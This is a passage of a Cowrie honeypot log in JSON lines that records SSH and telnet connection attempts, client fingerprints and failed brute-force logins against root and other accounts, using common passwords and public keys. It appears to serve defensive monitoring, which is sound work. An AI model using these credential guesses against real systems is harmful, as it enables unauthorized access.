{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:20.327389Z","src_ip":"193.37.70.224","session":"287222fa0923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:21.417781Z","src_ip":"193.37.70.224","session":"287222fa0923","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":33466,"dst_ip":"159.203.135.109","dst_port":22,"session":"407cd1a439d8","protocol":"ssh","message":"New connection: 160.187.174.22:33466 (159.203.135.109:22) [session: 407cd1a439d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:30.138650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:30.141996Z","src_ip":"160.187.174.22","session":"407cd1a439d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:30.461690Z","src_ip":"160.187.174.22","session":"407cd1a439d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:31.545362Z","src_ip":"160.187.174.22","session":"407cd1a439d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:32.786183Z","src_ip":"160.187.174.22","session":"407cd1a439d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.229.220.180","src_port":47395,"dst_ip":"10.17.0.5","dst_port":22,"session":"f68a84b91670","protocol":"ssh","message":"New connection: 221.229.220.180:47395 (10.17.0.5:22) [session: f68a84b91670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:40.977196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:40.981047Z","src_ip":"221.229.220.180","session":"f68a84b91670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:41.984646Z","src_ip":"221.229.220.180","session":"f68a84b91670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@qaz","message":"login attempt [root/123456@qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:43.057996Z","src_ip":"221.229.220.180","session":"f68a84b91670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.3.150.58","src_port":51272,"dst_ip":"10.17.0.5","dst_port":22,"session":"33b1e572205c","protocol":"ssh","message":"New connection: 192.3.150.58:51272 (10.17.0.5:22) [session: 33b1e572205c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:43.995440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:44.001942Z","src_ip":"192.3.150.58","session":"33b1e572205c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:44.073754Z","src_ip":"192.3.150.58","session":"33b1e572205c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:99:f4:6a:44:5f:e4:45:53:1c:a0:41:04:6e:18:44","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL6tftCpiaj4nfpTYuzRpSkyBWcLg3mjGet5RXu87hE7u/dptvbG3CA46FmtgjcPBu/cJzK1DiZ1a6jfnMv+/PK8oyYixett237pLckolzEIQXWc1stweO6RBKDw4Rswg9iqnMyiq/O/71ET6t69Vqk0/l17dAAoE/Heh2fMSRmrAAAAFQDWitMPl4NplVeXr5nXLYOG603wPQAAAIEAjHHQwVvyb1/QmZJRqLbFUNMmCips8wE9Jm61aPrjXqu4iuVTXRSTtzD4wq6eAxL8OoVR7QAcWZOB0Qd7JkD01GKUMD6jUPyNXNNuXArdPohuGQVsAFBmcadcSiY5N6ZRejIkANrxk66pRf2zvRn+saDTxuNcniZoBukzYt/Uv4AAAACACw5t1DSbzD7L5Gv4BW2Dumr3brClSA/4yW7RsvJa5JxebGBSWCOeLwx6oIAYQH1LDMI4zLewMKdhHDHv9Nn6g4URqRcJpfY8RvmgQMJtqLU582uQcJwpKYVqUonOjItUoehlGRu3Aih96ul1+7lCrTKNjVqFR9z3W7n+5PZAwDs=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint a4:99:f4:6a:44:5f:e4:45:53:1c:a0:41:04:6e:18:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:44.410757Z","src_ip":"192.3.150.58","session":"33b1e572205c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:99:f4:6a:44:5f:e4:45:53:1c:a0:41:04:6e:18:44","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAL6tftCpiaj4nfpTYuzRpSkyBWcLg3mjGet5RXu87hE7u/dptvbG3CA46FmtgjcPBu/cJzK1DiZ1a6jfnMv+/PK8oyYixett237pLckolzEIQXWc1stweO6RBKDw4Rswg9iqnMyiq/O/71ET6t69Vqk0/l17dAAoE/Heh2fMSRmrAAAAFQDWitMPl4NplVeXr5nXLYOG603wPQAAAIEAjHHQwVvyb1/QmZJRqLbFUNMmCips8wE9Jm61aPrjXqu4iuVTXRSTtzD4wq6eAxL8OoVR7QAcWZOB0Qd7JkD01GKUMD6jUPyNXNNuXArdPohuGQVsAFBmcadcSiY5N6ZRejIkANrxk66pRf2zvRn+saDTxuNcniZoBukzYt/Uv4AAAACACw5t1DSbzD7L5Gv4BW2Dumr3brClSA/4yW7RsvJa5JxebGBSWCOeLwx6oIAYQH1LDMI4zLewMKdhHDHv9Nn6g4URqRcJpfY8RvmgQMJtqLU582uQcJwpKYVqUonOjItUoehlGRu3Aih96ul1+7lCrTKNjVqFR9z3W7n+5PZAwDs=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:44.413974Z","src_ip":"192.3.150.58","session":"33b1e572205c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:c4:72:fa:e6:03:09:d1:28:4e:94:a2:9a:7e:a9:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn9l7Xz6unBTlpjHAFWWnAIoJVuXtSjHesGU7xyVezh7Y+eHU91ACKSFZgDCo2XpPB/oUijRpnAMG1YHz5R4hPKWTMxZGuLI+hzxC1mxGuBSc96i+nEd/9UVM5nOe9V8ZlArudoN99LOGvWUrSfOFUGme4ebgbTGStcM3M3ACIaFxlO226Xs8FoIPK7uZl9F4cy4HDfrbEC1mH2g/jP/leMQ3Afa1tsHuN09DngbzhnwzI88SdCd9QA9b8sxGchArw6LEk2+44/h53WKZs3IjbJbuZFxwStrSXOszuG+s5LlQn7lj0KgSSHcjSyQyDYezsJOj+2dHNhK8vIiCL1o1B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:c4:72:fa:e6:03:09:d1:28:4e:94:a2:9a:7e:a9:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:44.486316Z","src_ip":"192.3.150.58","session":"33b1e572205c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:c4:72:fa:e6:03:09:d1:28:4e:94:a2:9a:7e:a9:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn9l7Xz6unBTlpjHAFWWnAIoJVuXtSjHesGU7xyVezh7Y+eHU91ACKSFZgDCo2XpPB/oUijRpnAMG1YHz5R4hPKWTMxZGuLI+hzxC1mxGuBSc96i+nEd/9UVM5nOe9V8ZlArudoN99LOGvWUrSfOFUGme4ebgbTGStcM3M3ACIaFxlO226Xs8FoIPK7uZl9F4cy4HDfrbEC1mH2g/jP/leMQ3Afa1tsHuN09DngbzhnwzI88SdCd9QA9b8sxGchArw6LEk2+44/h53WKZs3IjbJbuZFxwStrSXOszuG+s5LlQn7lj0KgSSHcjSyQyDYezsJOj+2dHNhK8vIiCL1o1B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:44.489095Z","src_ip":"192.3.150.58","session":"33b1e572205c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:ae:14:7d:b5:ec:8e:64:ad:c3:1d:00:64:57:4e:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/741EztBu0si7eNv2H/E8FRCYZoIFOXTTjVEWByU90asS4enEXHVDvNoONSTxucbr735YVcppbNDlFMSa4gD1KKSUtkkHf8JbzP3kHZmnyCtGwrgxT5HBH5S/17Rx7cN0V+q9oYdfs+23FRC0fdwO1Tzi2P52skox8ksfrLqEPzUk5G1BbUwBpm4KdSJiNVhzh04DuhwUWndwurPBXjbLQBJ12drr0x2AzDAN2yMlH6ROiEwfQL2hVoNwChTo3Xp31qHniKsNmSqsDVmPrZr38O1gykw+d92N0YHDbICNRSBtAR5I7rhlNh8JVXiFQRp/xR/lUhZe+dcKQWDqpkSL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:ae:14:7d:b5:ec:8e:64:ad:c3:1d:00:64:57:4e:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:44.561324Z","src_ip":"192.3.150.58","session":"33b1e572205c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:ae:14:7d:b5:ec:8e:64:ad:c3:1d:00:64:57:4e:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/741EztBu0si7eNv2H/E8FRCYZoIFOXTTjVEWByU90asS4enEXHVDvNoONSTxucbr735YVcppbNDlFMSa4gD1KKSUtkkHf8JbzP3kHZmnyCtGwrgxT5HBH5S/17Rx7cN0V+q9oYdfs+23FRC0fdwO1Tzi2P52skox8ksfrLqEPzUk5G1BbUwBpm4KdSJiNVhzh04DuhwUWndwurPBXjbLQBJ12drr0x2AzDAN2yMlH6ROiEwfQL2hVoNwChTo3Xp31qHniKsNmSqsDVmPrZr38O1gykw+d92N0YHDbICNRSBtAR5I7rhlNh8JVXiFQRp/xR/lUhZe+dcKQWDqpkSL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:44.564270Z","src_ip":"192.3.150.58","session":"33b1e572205c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:e1:fa:da:57:27:32:37:30:fd:29:90:38:53:24:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq9ZNSzxZIsbv2/lKT/nqXJsqMv9gX3h7k5Yj+BjhhUBVQn3ZLkYNJaza9dTFybgzhd+amykOCKnG8Tl/I9nIHYpEGnGJCVwqJ3BkE6yZeJLrwOyX8LcFOUbjJMVKmrMSRoydj3yDLt4lw9pqyGnCIkvlMo85uGv0jSXI/KqNVtVVQzeVmrSiqLEFX5Dq6Y+SXXaL8ZqtdWF0DWcHMDtSDPTXPqhionUT429xjtP1aIL/YV62lkYSF5ZRGsAOtyIJEHR109fa2/UDlJMScL38fqdip3gjdKBagA91h4gukAo9gQnXnL84JaIhDVFboEjCeLxoOng0VoE3vaTXNE0DmQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:e1:fa:da:57:27:32:37:30:fd:29:90:38:53:24:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:44.638467Z","src_ip":"192.3.150.58","session":"33b1e572205c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:e1:fa:da:57:27:32:37:30:fd:29:90:38:53:24:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq9ZNSzxZIsbv2/lKT/nqXJsqMv9gX3h7k5Yj+BjhhUBVQn3ZLkYNJaza9dTFybgzhd+amykOCKnG8Tl/I9nIHYpEGnGJCVwqJ3BkE6yZeJLrwOyX8LcFOUbjJMVKmrMSRoydj3yDLt4lw9pqyGnCIkvlMo85uGv0jSXI/KqNVtVVQzeVmrSiqLEFX5Dq6Y+SXXaL8ZqtdWF0DWcHMDtSDPTXPqhionUT429xjtP1aIL/YV62lkYSF5ZRGsAOtyIJEHR109fa2/UDlJMScL38fqdip3gjdKBagA91h4gukAo9gQnXnL84JaIhDVFboEjCeLxoOng0VoE3vaTXNE0DmQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:44.641360Z","src_ip":"192.3.150.58","session":"33b1e572205c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:07:34:f2:81:50:f4:6d:11:21:9e:3e:25:26:9a:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcEQpi2YH/+MQyCGJlV844LuyjnsR73z0CwfgxAacWQvfEYepQBURRqL5CZUkTfMtgF3zpvOulFlTZTb+amkL3Y+hWihEJtdva0chlcwKCIkLZmh+qPGlo8jaMNraveyUvelMT5Uu6rtajE97IBkU0DmFmtQJywR4bsoKz1LluEBtrBWOMyBnL/rmwD2HCpAGCGP2pd/VoHsa5zAwXLymIWzpHOQlP+v1Hm9AqRoh7FDItBzo+1ggwVfzIBR9kAlZKTPGKiMRUzbIdEaW+6YEVVZcjlVlklNi+ngWh5dEfuj6gQQAQbGHUgTksa7p6QU75EahGdZwCi8VbCdkFoIvp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:07:34:f2:81:50:f4:6d:11:21:9e:3e:25:26:9a:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:44.714175Z","src_ip":"192.3.150.58","session":"33b1e572205c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:07:34:f2:81:50:f4:6d:11:21:9e:3e:25:26:9a:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcEQpi2YH/+MQyCGJlV844LuyjnsR73z0CwfgxAacWQvfEYepQBURRqL5CZUkTfMtgF3zpvOulFlTZTb+amkL3Y+hWihEJtdva0chlcwKCIkLZmh+qPGlo8jaMNraveyUvelMT5Uu6rtajE97IBkU0DmFmtQJywR4bsoKz1LluEBtrBWOMyBnL/rmwD2HCpAGCGP2pd/VoHsa5zAwXLymIWzpHOQlP+v1Hm9AqRoh7FDItBzo+1ggwVfzIBR9kAlZKTPGKiMRUzbIdEaW+6YEVVZcjlVlklNi+ngWh5dEfuj6gQQAQbGHUgTksa7p6QU75EahGdZwCi8VbCdkFoIvp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:44.716864Z","src_ip":"192.3.150.58","session":"33b1e572205c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:44.787969Z","src_ip":"192.3.150.58","session":"33b1e572205c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41154,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fb0bc2d7a4f","protocol":"telnet","message":"New connection: 170.64.224.25:41154 (159.203.135.109:23) [session: 3fb0bc2d7a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:49.675893Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":39640,"dst_ip":"159.203.135.109","dst_port":22,"session":"87fee5de6ea4","protocol":"ssh","message":"New connection: 160.187.174.22:39640 (159.203.135.109:22) [session: 87fee5de6ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:58.155238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:58.159270Z","src_ip":"160.187.174.22","session":"87fee5de6ea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:58.410800Z","src_ip":"160.187.174.22","session":"87fee5de6ea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:17:59.168955Z","src_ip":"160.187.174.22","session":"87fee5de6ea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":50852,"dst_ip":"159.203.135.109","dst_port":22,"session":"d38834ff5ebe","protocol":"ssh","message":"New connection: 103.149.28.157:50852 (159.203.135.109:22) [session: d38834ff5ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:00.186300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:00.190385Z","src_ip":"103.149.28.157","session":"d38834ff5ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:18:00.424355Z","src_ip":"160.187.174.22","session":"87fee5de6ea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-g